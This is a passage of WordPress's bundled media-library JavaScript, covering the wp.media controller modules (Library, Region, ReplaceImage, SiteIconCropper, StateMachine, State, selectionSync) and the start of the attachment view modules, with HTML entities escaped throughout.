 * @param {boolean}                         [attributes.multiple=false]          Whether multi-select is enabled.
 * @param {string}                          [attributes.content=upload]          Initial mode for the content region.
 *                                                                               Overridden by persistent user setting if &#039;contentUserSetting&#039; is true.
 * @param {string}                          [attributes.menu=default]            Initial mode for the menu region.
 * @param {string}                          [attributes.router=browse]           Initial mode for the router region.
 * @param {string}                          [attributes.toolbar=select]          Initial mode for the toolbar region.
 * @param {boolean}                         [attributes.searchable=true]         Whether the library is searchable.
 * @param {boolean|string}                  [attributes.filterable=false]        Whether the library is filterable, and if so what filters should be shown.
 *                                                                               Accepts &#039;all&#039;, &#039;uploaded&#039;, or &#039;unattached&#039;.
 * @param {boolean}                         [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
 * @param {boolean}                         [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
 * @param {boolean}                         [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
 * @param {boolean}                         [attributes.contentUserSetting=true] Whether the content region&#039;s mode should be set and persisted per user.
 * @param {boolean}                         [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
 */
Library = wp.media.controller.State.extend(/** @lends wp.media.controller.Library.prototype */{
	defaults: {
		id:                 &#039;library&#039;,
		title:              l10n.mediaLibraryTitle,
		multiple:           false,
		content:            &#039;upload&#039;,
		menu:               &#039;default&#039;,
		router:             &#039;browse&#039;,
		toolbar:            &#039;select&#039;,
		searchable:         true,
		filterable:         false,
		sortable:           true,
		autoSelect:         true,
		describe:           false,
		contentUserSetting: true,
		syncSelection:      true
	},

	/**
	 * If a library isn&#039;t provided, query all media items.
	 * If a selection instance isn&#039;t provided, create one.
	 *
	 * @since 3.5.0
	 */
	initialize: function() {
		var selection = this.get(&#039;selection&#039;),
			props;

		if ( ! this.get(&#039;library&#039;) ) {
			this.set( &#039;library&#039;, wp.media.query() );
		}

		if ( ! ( selection instanceof wp.media.model.Selection ) ) {
			props = selection;

			if ( ! props ) {
				props = this.get(&#039;library&#039;).props.toJSON();
				props = _.omit( props, &#039;orderby&#039;, &#039;query&#039; );
			}

			this.set( &#039;selection&#039;, new wp.media.model.Selection( null, {
				multiple: this.get(&#039;multiple&#039;),
				props: props
			}) );
		}

		this.resetDisplays();
	},

	/**
	 * @since 3.5.0
	 */
	activate: function() {
		this.syncSelection();

		wp.Uploader.queue.on( &#039;add&#039;, this.uploading, this );

		this.get(&#039;selection&#039;).on( &#039;add remove reset&#039;, this.refreshContent, this );

		if ( this.get( &#039;router&#039; ) &amp;&amp; this.get(&#039;contentUserSetting&#039;) ) {
			this.frame.on( &#039;content:activate&#039;, this.saveContentMode, this );
			this.set( &#039;content&#039;, getUserSetting( &#039;libraryContent&#039;, this.get(&#039;content&#039;) ) );
		}
	},

	/**
	 * @since 3.5.0
	 */
	deactivate: function() {
		this.recordSelection();

		this.frame.off( &#039;content:activate&#039;, this.saveContentMode, this );

		// Unbind all event handlers that use this state as the context
		// from the selection.
		this.get(&#039;selection&#039;).off( null, null, this );

		wp.Uploader.queue.off( null, null, this );
	},

	/**
	 * Reset the library to its initial state.
	 *
	 * @since 3.5.0
	 */
	reset: function() {
		this.get(&#039;selection&#039;).reset();
		this.resetDisplays();
		this.refreshContent();
	},

	/**
	 * Reset the attachment display settings defaults to the site options.
	 *
	 * If site options don&#039;t define them, fall back to a persistent user setting.
	 *
	 * @since 3.5.0
	 */
	resetDisplays: function() {
		var defaultProps = wp.media.view.settings.defaultProps;
		this._displays = [];
		this._defaultDisplaySettings = {
			align: getUserSetting( &#039;align&#039;, defaultProps.align ) || &#039;none&#039;,
			size:  getUserSetting( &#039;imgsize&#039;, defaultProps.size ) || &#039;medium&#039;,
			link:  getUserSetting( &#039;urlbutton&#039;, defaultProps.link ) || &#039;none&#039;
		};
	},

	/**
	 * Create a model to represent display settings (alignment, etc.) for an attachment.
	 *
	 * @since 3.5.0
	 *
	 * @param {wp.media.model.Attachment} attachment
	 * @return {Backbone.Model}
	 */
	display: function( attachment ) {
		var displays = this._displays;

		if ( ! displays[ attachment.cid ] ) {
			displays[ attachment.cid ] = new Backbone.Model( this.defaultDisplaySettings( attachment ) );
		}
		return displays[ attachment.cid ];
	},

	/**
	 * Given an attachment, create attachment display settings properties.
	 *
	 * @since 3.6.0
	 *
	 * @param {wp.media.model.Attachment} attachment
	 * @return {Object}
	 */
	defaultDisplaySettings: function( attachment ) {
		var settings = _.clone( this._defaultDisplaySettings );

		settings.canEmbed = this.canEmbed( attachment );
		if ( settings.canEmbed ) {
			settings.link = &#039;embed&#039;;
		} else if ( ! this.isImageAttachment( attachment ) &amp;&amp; settings.link === &#039;none&#039; ) {
			settings.link = &#039;file&#039;;
		}

		return settings;
	},

	/**
	 * Whether an attachment is image.
	 *
	 * @since 4.4.1
	 *
	 * @param {wp.media.model.Attachment} attachment
	 * @return {boolean}
	 */
	isImageAttachment: function( attachment ) {
		// If uploading, we know the filename but not the mime type.
		if ( attachment.get(&#039;uploading&#039;) ) {
			return /\.(jpe?g|png|gif|webp|avif|heic|heif)$/i.test( attachment.get(&#039;filename&#039;) );
		}

		return attachment.get(&#039;type&#039;) === &#039;image&#039;;
	},

	/**
	 * Whether an attachment can be embedded (audio or video).
	 *
	 * @since 3.6.0
	 *
	 * @param {wp.media.model.Attachment} attachment
	 * @return {boolean}
	 */
	canEmbed: function( attachment ) {
		// If uploading, we know the filename but not the mime type.
		if ( ! attachment.get(&#039;uploading&#039;) ) {
			var type = attachment.get(&#039;type&#039;);
			if ( type !== &#039;audio&#039; &amp;&amp; type !== &#039;video&#039; ) {
				return false;
			}
		}

		return _.contains( wp.media.view.settings.embedExts, attachment.get(&#039;filename&#039;).split(&#039;.&#039;).pop() );
	},


	/**
	 * If the state is active, no items are selected, and the current
	 * content mode is not an option in the state&#039;s router (provided
	 * the state has a router), reset the content mode to the default.
	 *
	 * @since 3.5.0
	 */
	refreshContent: function() {
		var selection = this.get(&#039;selection&#039;),
			frame = this.frame,
			router = frame.router.get(),
			mode = frame.content.mode();

		if ( this.active &amp;&amp; ! selection.length &amp;&amp; router &amp;&amp; ! router.get( mode ) ) {
			this.frame.content.render( this.get(&#039;content&#039;) );
		}
	},

	/**
	 * Callback handler when an attachment is uploaded.
	 *
	 * Switch to the Media Library if uploaded from the &#039;Upload Files&#039; tab.
	 *
	 * Adds any uploading attachments to the selection.
	 *
	 * If the state only supports one attachment to be selected and multiple
	 * attachments are uploaded, the last attachment in the upload queue will
	 * be selected.
	 *
	 * @since 3.5.0
	 *
	 * @param {wp.media.model.Attachment} attachment
	 */
	uploading: function( attachment ) {
		var content = this.frame.content;

		if ( &#039;upload&#039; === content.mode() ) {
			this.frame.content.mode(&#039;browse&#039;);
		}

		if ( this.get( &#039;autoSelect&#039; ) ) {
			this.get(&#039;selection&#039;).add( attachment );
			this.frame.trigger( &#039;library:selection:add&#039; );
		}
	},

	/**
	 * Persist the mode of the content region as a user setting.
	 *
	 * @since 3.5.0
	 */
	saveContentMode: function() {
		if ( &#039;browse&#039; !== this.get(&#039;router&#039;) ) {
			return;
		}

		var mode = this.frame.content.mode(),
			view = this.frame.router.get();

		if ( view &amp;&amp; view.get( mode ) ) {
			setUserSetting( &#039;libraryContent&#039;, mode );
		}
	}

});

// Make selectionSync available on any Media Library state.
_.extend( Library.prototype, wp.media.selectionSync );

module.exports = Library;


/***/ },

/***/ 8065
(module) {

/**
 * wp.media.controller.MediaLibrary
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.Library
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 */
var Library = wp.media.controller.Library,
	MediaLibrary;

MediaLibrary = Library.extend(/** @lends wp.media.controller.MediaLibrary.prototype */{
	defaults: _.defaults({
		// Attachments browser defaults. @see media.view.AttachmentsBrowser
		filterable:      &#039;uploaded&#039;,

		displaySettings: false,
		priority:        80,
		syncSelection:   false
	}, Library.prototype.defaults ),

	/**
	 * @since 3.9.0
	 *
	 * @param options
	 */
	initialize: function( options ) {
		this.media = options.media;
		this.type = options.type;
		this.set( &#039;library&#039;, wp.media.query({ type: this.type }) );

		Library.prototype.initialize.apply( this, arguments );
	},

	/**
	 * @since 3.9.0
	 */
	activate: function() {
		// @todo this should use this.frame.
		if ( wp.media.frame.lastMime ) {
			this.set( &#039;library&#039;, wp.media.query({ type: wp.media.frame.lastMime }) );
			delete wp.media.frame.lastMime;
		}
		Library.prototype.activate.apply( this, arguments );
	}
});

module.exports = MediaLibrary;


/***/ },

/***/ 9875
(module) {

/**
 * wp.media.controller.Region
 *
 * A region is a persistent application layout area.
 *
 * A region assumes one mode at any time, and can be switched to another.
 *
 * When mode changes, events are triggered on the region&#039;s parent view.
 * The parent view will listen to specific events and fill the region with an
 * appropriate view depending on mode. For example, a frame listens for the
 * &#039;browse&#039; mode t be activated on the &#039;content&#039; view and then fills the region
 * with an AttachmentsBrowser view.
 *
 * @memberOf wp.media.controller
 *
 * @class
 *
 * @param {Object}        options          Options hash for the region.
 * @param {string}        options.id       Unique identifier for the region.
 * @param {Backbone.View} options.view     A parent view the region exists within.
 * @param {string}        options.selector jQuery selector for the region within the parent view.
 */
var Region = function( options ) {
	_.extend( this, _.pick( options || {}, &#039;id&#039;, &#039;view&#039;, &#039;selector&#039; ) );
};

// Use Backbone&#039;s self-propagating `extend` inheritance method.
Region.extend = Backbone.Model.extend;

_.extend( Region.prototype,/** @lends wp.media.controller.Region.prototype */{
	/**
	 * Activate a mode.
	 *
	 * @since 3.5.0
	 *
	 * @param {string} mode
	 *
	 * @fires Region#activate
	 * @fires Region#deactivate
	 *
	 * @return {wp.media.controller.Region} Returns itself to allow chaining.
	 */
	mode: function( mode ) {
		if ( ! mode ) {
			return this._mode;
		}
		// Bail if we&#039;re trying to change to the current mode.
		if ( mode === this._mode ) {
			return this;
		}

		/**
		 * Region mode deactivation event.
		 *
		 * @event wp.media.controller.Region#deactivate
		 */
		this.trigger(&#039;deactivate&#039;);

		this._mode = mode;
		this.render( mode );

		/**
		 * Region mode activation event.
		 *
		 * @event wp.media.controller.Region#activate
		 */
		this.trigger(&#039;activate&#039;);
		return this;
	},
	/**
	 * Render a mode.
	 *
	 * @since 3.5.0
	 *
	 * @param {string} mode
	 *
	 * @fires Region#create
	 * @fires Region#render
	 *
	 * @return {wp.media.controller.Region} Returns itself to allow chaining.
	 */
	render: function( mode ) {
		// If the mode isn&#039;t active, activate it.
		if ( mode &amp;&amp; mode !== this._mode ) {
			return this.mode( mode );
		}

		var set = { view: null },
			view;

		/**
		 * Create region view event.
		 *
		 * Region view creation takes place in an event callback on the frame.
		 *
		 * @event wp.media.controller.Region#create
		 * @type {object}
		 * @property {object} view
		 */
		this.trigger( &#039;create&#039;, set );
		view = set.view;

		/**
		 * Render region view event.
		 *
		 * Region view creation takes place in an event callback on the frame.
		 *
		 * @event wp.media.controller.Region#render
		 * @type {object}
		 */
		this.trigger( &#039;render&#039;, view );
		if ( view ) {
			this.set( view );
		}
		return this;
	},

	/**
	 * Get the region&#039;s view.
	 *
	 * @since 3.5.0
	 *
	 * @return {wp.media.View}
	 */
	get: function() {
		return this.view.views.first( this.selector );
	},

	/**
	 * Set the region&#039;s view as a subview of the frame.
	 *
	 * @since 3.5.0
	 *
	 * @param {Array|Object} views
	 * @param {Object} [options={}]
	 * @return {wp.Backbone.Subviews} Subviews is returned to allow chaining.
	 */
	set: function( views, options ) {
		if ( options ) {
			options.add = false;
		}
		return this.view.views.set( this.selector, views, options );
	},

	/**
	 * Trigger regional view events on the frame.
	 *
	 * @since 3.5.0
	 *
	 * @param {string} event
	 * @return {undefined|wp.media.controller.Region} Returns itself to allow chaining.
	 */
	trigger: function( event ) {
		var base, args;

		if ( ! this._mode ) {
			return;
		}

		args = _.toArray( arguments );
		base = this.id + &#039;:&#039; + event;

		// Trigger `{this.id}:{event}:{this._mode}` event on the frame.
		args[0] = base + &#039;:&#039; + this._mode;
		this.view.trigger.apply( this.view, args );

		// Trigger `{this.id}:{event}` event on the frame.
		args[0] = base;
		this.view.trigger.apply( this.view, args );
		return this;
	}
});

module.exports = Region;


/***/ },

/***/ 2275
(module) {

var Library = wp.media.controller.Library,
	l10n = wp.media.view.l10n,
	ReplaceImage;

/**
 * wp.media.controller.ReplaceImage
 *
 * A state for replacing an image.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.Library
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @param {object}                     [attributes]                         The attributes hash passed to the state.
 * @param {string}                     [attributes.id=replace-image]        Unique identifier.
 * @param {string}                     [attributes.title=Replace Image]     Title for the state. Displays in the media menu and the frame&#039;s title region.
 * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
 *                                                                          If one is not supplied, a collection of all images will be created.
 * @param {boolean}                    [attributes.multiple=false]          Whether multi-select is enabled.
 * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
 *                                                                          Overridden by persistent user setting if &#039;contentUserSetting&#039; is true.
 * @param {string}                     [attributes.menu=default]            Initial mode for the menu region.
 * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
 * @param {string}                     [attributes.toolbar=replace]         Initial mode for the toolbar region.
 * @param {int}                        [attributes.priority=60]             The priority for the state link in the media menu.
 * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
 * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
 *                                                                          Accepts &#039;all&#039;, &#039;uploaded&#039;, or &#039;unattached&#039;.
 * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
 * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
 * @param {boolean}                    [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
 * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region&#039;s mode should be set and persisted per user.
 * @param {boolean}                    [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
 */
ReplaceImage = Library.extend(/** @lends wp.media.controller.ReplaceImage.prototype */{
	defaults: _.defaults({
		id:            &#039;replace-image&#039;,
		title:         l10n.replaceImageTitle,
		multiple:      false,
		filterable:    &#039;uploaded&#039;,
		toolbar:       &#039;replace&#039;,
		menu:          false,
		priority:      60,
		syncSelection: true
	}, Library.prototype.defaults ),

	/**
	 * @since 3.9.0
	 *
	 * @param options
	 */
	initialize: function( options ) {
		var library, comparator;

		this.image = options.image;
		// If we haven&#039;t been provided a `library`, create a `Selection`.
		if ( ! this.get(&#039;library&#039;) ) {
			this.set( &#039;library&#039;, wp.media.query({ type: &#039;image&#039; }) );
		}

		Library.prototype.initialize.apply( this, arguments );

		library    = this.get(&#039;library&#039;);
		comparator = library.comparator;

		// Overload the library&#039;s comparator to push items that are not in
		// the mirrored query to the front of the aggregate collection.
		library.comparator = function( a, b ) {
			var aInQuery = !! this.mirroring.get( a.cid ),
				bInQuery = !! this.mirroring.get( b.cid );

			if ( ! aInQuery &amp;&amp; bInQuery ) {
				return -1;
			} else if ( aInQuery &amp;&amp; ! bInQuery ) {
				return 1;
			} else {
				return comparator.apply( this, arguments );
			}
		};

		// Add all items in the selection to the library, so any featured
		// images that are not initially loaded still appear.
		library.observe( this.get(&#039;selection&#039;) );
	},

	/**
	 * @since 3.9.0
	 */
	activate: function() {
		this.frame.on( &#039;content:render:browse&#039;, this.updateSelection, this );

		Library.prototype.activate.apply( this, arguments );
	},

	/**
	 * @since 5.9.0
	 */
	deactivate: function() {
		this.frame.off( &#039;content:render:browse&#039;, this.updateSelection, this );

		Library.prototype.deactivate.apply( this, arguments );
	},

	/**
	 * @since 3.9.0
	 */
	updateSelection: function() {
		var selection = this.get(&#039;selection&#039;),
			attachment = this.image.attachment;

		selection.reset( attachment ? [ attachment ] : [] );
	}
});

module.exports = ReplaceImage;


/***/ },

/***/ 6172
(module) {

var Controller = wp.media.controller,
	SiteIconCropper;

/**
 * wp.media.controller.SiteIconCropper
 *
 * A state for cropping a Site Icon.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.Cropper
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 */
SiteIconCropper = Controller.Cropper.extend(/** @lends wp.media.controller.SiteIconCropper.prototype */{
	activate: function() {
		this.frame.on( &#039;content:create:crop&#039;, this.createCropContent, this );
		this.frame.on( &#039;close&#039;, this.removeCropper, this );
		this.set(&#039;selection&#039;, new Backbone.Collection(this.frame._selection.single));
	},

	createCropContent: function() {
		this.cropperView = new wp.media.view.SiteIconCropper({
			controller: this,
			attachment: this.get(&#039;selection&#039;).first()
		});
		this.cropperView.on(&#039;image-loaded&#039;, this.createCropToolbar, this);
		this.frame.content.set(this.cropperView);

	},

	doCrop: function( attachment ) {
		var cropDetails = attachment.get( &#039;cropDetails&#039; ),
			control = this.get( &#039;control&#039; );

		cropDetails.dst_width  = control.params.width;
		cropDetails.dst_height = control.params.height;

		return wp.ajax.post( &#039;crop-image&#039;, {
			nonce: attachment.get( &#039;nonces&#039; ).edit,
			id: attachment.get( &#039;id&#039; ),
			context: &#039;site-icon&#039;,
			cropDetails: cropDetails
		} );
	}
});

module.exports = SiteIconCropper;


/***/ },

/***/ 6150
(module) {

/**
 * wp.media.controller.StateMachine
 *
 * A state machine keeps track of state. It is in one state at a time,
 * and can change from one state to another.
 *
 * States are stored as models in a Backbone collection.
 *
 * @memberOf wp.media.controller
 *
 * @since 3.5.0
 *
 * @class
 * @augments Backbone.Model
 * @mixin
 * @mixes Backbone.Events
 */
var StateMachine = function() {
	return {
		// Use Backbone&#039;s self-propagating `extend` inheritance method.
		extend: Backbone.Model.extend
	};
};

_.extend( StateMachine.prototype, Backbone.Events,/** @lends wp.media.controller.StateMachine.prototype */{
	/**
	 * Fetch a state.
	 *
	 * If no `id` is provided, returns the active state.
	 *
	 * Implicitly creates states.
	 *
	 * Ensure that the `states` collection exists so the `StateMachine`
	 * can be used as a mixin.
	 *
	 * @since 3.5.0
	 *
	 * @param {string} id
	 * @return {wp.media.controller.State} Returns a State model from
	 *                                     the StateMachine collection.
	 */
	state: function( id ) {
		this.states = this.states || new Backbone.Collection();

		// Default to the active state.
		id = id || this._state;

		if ( id &amp;&amp; ! this.states.get( id ) ) {
			this.states.add({ id: id });
		}
		return this.states.get( id );
	},

	/**
	 * Sets the active state.
	 *
	 * Bail if we&#039;re trying to select the current state, if we haven&#039;t
	 * created the `states` collection, or are trying to select a state
	 * that does not exist.
	 *
	 * @since 3.5.0
	 *
	 * @param {string} id
	 *
	 * @fires wp.media.controller.State#deactivate
	 * @fires wp.media.controller.State#activate
	 *
	 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
	 */
	setState: function( id ) {
		var previous = this.state();

		if ( ( previous &amp;&amp; id === previous.id ) || ! this.states || ! this.states.get( id ) ) {
			return this;
		}

		if ( previous ) {
			previous.trigger(&#039;deactivate&#039;);
			this._lastState = previous.id;
		}

		this._state = id;
		this.state().trigger(&#039;activate&#039;);

		return this;
	},

	/**
	 * Returns the previous active state.
	 *
	 * Call the `state()` method with no parameters to retrieve the current
	 * active state.
	 *
	 * @since 3.5.0
	 *
	 * @return {wp.media.controller.State} Returns a State model from
	 *                                     the StateMachine collection.
	 */
	lastState: function() {
		if ( this._lastState ) {
			return this.state( this._lastState );
		}
	}
});

// Map all event binding and triggering on a StateMachine to its `states` collection.
_.each([ &#039;on&#039;, &#039;off&#039;, &#039;trigger&#039; ], function( method ) {
	/**
	 * @function on
	 * @memberOf wp.media.controller.StateMachine
	 * @instance
	 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
	 */
	/**
	 * @function off
	 * @memberOf wp.media.controller.StateMachine
	 * @instance
	 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
	 */
	/**
	 * @function trigger
	 * @memberOf wp.media.controller.StateMachine
	 * @instance
	 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
	 */
	StateMachine.prototype[ method ] = function() {
		// Ensure that the `states` collection exists so the `StateMachine`
		// can be used as a mixin.
		this.states = this.states || new Backbone.Collection();
		// Forward the method to the `states` collection.
		this.states[ method ].apply( this.states, arguments );
		return this;
	};
});

module.exports = StateMachine;


/***/ },

/***/ 5694
(module) {

/**
 * wp.media.controller.State
 *
 * A state is a step in a workflow that when set will trigger the controllers
 * for the regions to be updated as specified in the frame.
 *
 * A state has an event-driven lifecycle:
 *
 *     &#039;ready&#039;      triggers when a state is added to a state machine&#039;s collection.
 *     &#039;activate&#039;   triggers when a state is activated by a state machine.
 *     &#039;deactivate&#039; triggers when a state is deactivated by a state machine.
 *     &#039;reset&#039;      is not triggered automatically. It should be invoked by the
 *                  proper controller to reset the state to its default.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments Backbone.Model
 */
var State = Backbone.Model.extend(/** @lends wp.media.controller.State.prototype */{
	/**
	 * Constructor.
	 *
	 * @since 3.5.0
	 */
	constructor: function() {
		this.on( &#039;activate&#039;, this._preActivate, this );
		this.on( &#039;activate&#039;, this.activate, this );
		this.on( &#039;activate&#039;, this._postActivate, this );
		this.on( &#039;deactivate&#039;, this._deactivate, this );
		this.on( &#039;deactivate&#039;, this.deactivate, this );
		this.on( &#039;reset&#039;, this.reset, this );
		this.on( &#039;ready&#039;, this._ready, this );
		this.on( &#039;ready&#039;, this.ready, this );
		/**
		 * Call parent constructor with passed arguments
		 */
		Backbone.Model.apply( this, arguments );
		this.on( &#039;change:menu&#039;, this._updateMenu, this );
	},
	/**
	 * Ready event callback.
	 *
	 * @abstract
	 * @since 3.5.0
	 */
	ready: function() {},

	/**
	 * Activate event callback.
	 *
	 * @abstract
	 * @since 3.5.0
	 */
	activate: function() {},

	/**
	 * Deactivate event callback.
	 *
	 * @abstract
	 * @since 3.5.0
	 */
	deactivate: function() {},

	/**
	 * Reset event callback.
	 *
	 * @abstract
	 * @since 3.5.0
	 */
	reset: function() {},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_ready: function() {
		this._updateMenu();
	},

	/**
	 * @since 3.5.0
	 * @access private
	*/
	_preActivate: function() {
		this.active = true;
	},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_postActivate: function() {
		this.on( &#039;change:menu&#039;, this._menu, this );
		this.on( &#039;change:titleMode&#039;, this._title, this );
		this.on( &#039;change:content&#039;, this._content, this );
		this.on( &#039;change:toolbar&#039;, this._toolbar, this );

		this.frame.on( &#039;title:render:default&#039;, this._renderTitle, this );

		this._title();
		this._menu();
		this._toolbar();
		this._content();
		this._router();
	},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_deactivate: function() {
		this.active = false;

		this.frame.off( &#039;title:render:default&#039;, this._renderTitle, this );

		this.off( &#039;change:menu&#039;, this._menu, this );
		this.off( &#039;change:titleMode&#039;, this._title, this );
		this.off( &#039;change:content&#039;, this._content, this );
		this.off( &#039;change:toolbar&#039;, this._toolbar, this );
	},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_title: function() {
		this.frame.title.render( this.get(&#039;titleMode&#039;) || &#039;default&#039; );
	},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_renderTitle: function( view ) {
		view.$el.text( this.get(&#039;title&#039;) || &#039;&#039; );
	},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_router: function() {
		var router = this.frame.router,
			mode = this.get(&#039;router&#039;),
			view;

		this.frame.$el.toggleClass( &#039;hide-router&#039;, ! mode );
		if ( ! mode ) {
			return;
		}

		this.frame.router.render( mode );

		view = router.get();
		if ( view &amp;&amp; view.select ) {
			view.select( this.frame.content.mode() );
		}
	},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_menu: function() {
		var menu = this.frame.menu,
			mode = this.get(&#039;menu&#039;),
			actionMenuItems,
			actionMenuLength,
			view;

		if ( this.frame.menu ) {
			actionMenuItems = this.frame.menu.get(&#039;views&#039;),
			actionMenuLength = actionMenuItems ? actionMenuItems.views.get().length : 0,
			// Show action menu only if it is active and has more than one default element.
			this.frame.$el.toggleClass( &#039;hide-menu&#039;, ! mode || actionMenuLength &lt; 2 );
		}
		if ( ! mode ) {
			return;
		}

		menu.mode( mode );

		view = menu.get();
		if ( view &amp;&amp; view.select ) {
			view.select( this.id );
		}
	},

	/**
	 * @since 3.5.0
	 * @access private
	 */
	_updateMenu: function() {
		var previous = this.previous(&#039;menu&#039;),
			menu = this.get(&#039;menu&#039;);

		if ( previous ) {
			this.frame.off( &#039;menu:render:&#039; + previous, this._renderMenu, this );
		}

		if ( menu ) {
			this.frame.on( &#039;menu:render:&#039; + menu, this._renderMenu, this );
		}
	},

	/**
	 * Create a view in the media menu for the state.
	 *
	 * @since 3.5.0
	 * @access private
	 *
	 * @param {media.view.Menu} view The menu view.
	 */
	_renderMenu: function( view ) {
		var menuItem = this.get(&#039;menuItem&#039;),
			title = this.get(&#039;title&#039;),
			priority = this.get(&#039;priority&#039;);

		if ( ! menuItem &amp;&amp; title ) {
			menuItem = { text: title };

			if ( priority ) {
				menuItem.priority = priority;
			}
		}

		if ( ! menuItem ) {
			return;
		}

		view.set( this.id, menuItem );
	}
});

_.each([&#039;toolbar&#039;,&#039;content&#039;], function( region ) {
	/**
	 * @access private
	 */
	State.prototype[ &#039;_&#039; + region ] = function() {
		var mode = this.get( region );
		if ( mode ) {
			this.frame[ region ].render( mode );
		}
	};
});

module.exports = State;


/***/ },

/***/ 4181
(module) {

/**
 * wp.media.selectionSync
 *
 * Sync an attachments selection in a state with another state.
 *
 * Allows for selecting multiple images in the Add Media workflow, and then
 * switching to the Insert Gallery workflow while preserving the attachments selection.
 *
 * @memberOf wp.media
 *
 * @mixin
 */
var selectionSync = {
	/**
	 * @since 3.5.0
	 */
	syncSelection: function() {
		var selection = this.get(&#039;selection&#039;),
			manager = this.frame._selection;

		if ( ! this.get(&#039;syncSelection&#039;) || ! manager || ! selection ) {
			return;
		}

		/*
		 * If the selection supports multiple items, validate the stored
		 * attachments based on the new selection&#039;s conditions. Record
		 * the attachments that are not included; we&#039;ll maintain a
		 * reference to those. Other attachments are considered in flux.
		 */
		if ( selection.multiple ) {
			selection.reset( [], { silent: true });
			selection.validateAll( manager.attachments );
			manager.difference = _.difference( manager.attachments.models, selection.models );
		}

		// Sync the selection&#039;s single item with the master.
		selection.single( manager.single );
	},

	/**
	 * Record the currently active attachments, which is a combination
	 * of the selection&#039;s attachments and the set of selected
	 * attachments that this specific selection considered invalid.
	 * Reset the difference and record the single attachment.
	 *
	 * @since 3.5.0
	 */
	recordSelection: function() {
		var selection = this.get(&#039;selection&#039;),
			manager = this.frame._selection;

		if ( ! this.get(&#039;syncSelection&#039;) || ! manager || ! selection ) {
			return;
		}

		if ( selection.multiple ) {
			manager.attachments.reset( selection.toArray().concat( manager.difference ) );
			manager.difference = [];
		} else {
			manager.attachments.add( selection.toArray() );
		}

		manager.single = selection._single;
	}
};

module.exports = selectionSync;


/***/ },

/***/ 2982
(module) {

var View = wp.media.View,
	AttachmentCompat;

/**
 * wp.media.view.AttachmentCompat
 *
 * A view to display fields added via the `attachment_fields_to_edit` filter.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
AttachmentCompat = View.extend(/** @lends wp.media.view.AttachmentCompat.prototype */{
	tagName:   &#039;form&#039;,
	className: &#039;compat-item&#039;,

	events: {
		&#039;submit&#039;:          &#039;preventDefault&#039;,
		&#039;change input&#039;:    &#039;save&#039;,
		&#039;change select&#039;:   &#039;save&#039;,
		&#039;change textarea&#039;: &#039;save&#039;
	},

	initialize: function() {
		// Render the view when a new item is added.
		this.listenTo( this.model, &#039;add&#039;, this.render );
	},

	/**
	 * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining.
	 */
	dispose: function() {
		if ( this.$(&#039;:focus&#039;).length ) {
			this.save();
		}
		/**
		 * call &#039;dispose&#039; directly on the parent class
		 */
		return View.prototype.dispose.apply( this, arguments );
	},
	/**
	 * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining.
	 */
	render: function() {
		var compat = this.model.get(&#039;compat&#039;);
		if ( ! compat || ! compat.item ) {
			return;
		}

		this.views.detach();
		this.$el.html( compat.item );
		this.views.render();
		return this;
	},
	/**
	 * @param {Object} event
	 */
	preventDefault: function( event ) {
		event.preventDefault();
	},
	/**
	 * @param {Object} event
	 */
	save: function( event ) {
		var data = {};

		if ( event ) {
			event.preventDefault();
		}

		_.each( this.$el.serializeArray(), function( pair ) {
			data[ pair.name ] = pair.value;
		});

		this.controller.trigger( &#039;attachment:compat:waiting&#039;, [&#039;waiting&#039;] );
		this.model.saveCompat( data ).always( _.bind( this.postSave, this ) );
	},

	postSave: function() {
		this.controller.trigger( &#039;attachment:compat:ready&#039;, [&#039;ready&#039;] );
	}
});

module.exports = AttachmentCompat;


/***/ },

/***/ 7709
(module) {

var $ = jQuery,
	AttachmentFilters;

/**
 * wp.media.view.AttachmentFilters
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
AttachmentFilters = wp.media.View.extend(/** @lends wp.media.view.AttachmentFilters.prototype */{
	tagName:   &#039;select&#039;,
	className: &#039;attachment-filters&#039;,
	id:        &#039;media-attachment-filters&#039;,

	events: {
		change: &#039;change&#039;
	},

	keys: [],

	initialize: function() {
		this.createFilters();
		_.extend( this.filters, this.options.filters );

		// Build `&lt;option&gt;` elements.
		this.$el.html( _.chain( this.filters ).map( function( filter, value ) {
			return {
				el: $( &#039;&lt;option&gt;&lt;/option&gt;&#039; ).val( value ).html( filter.text )[0],
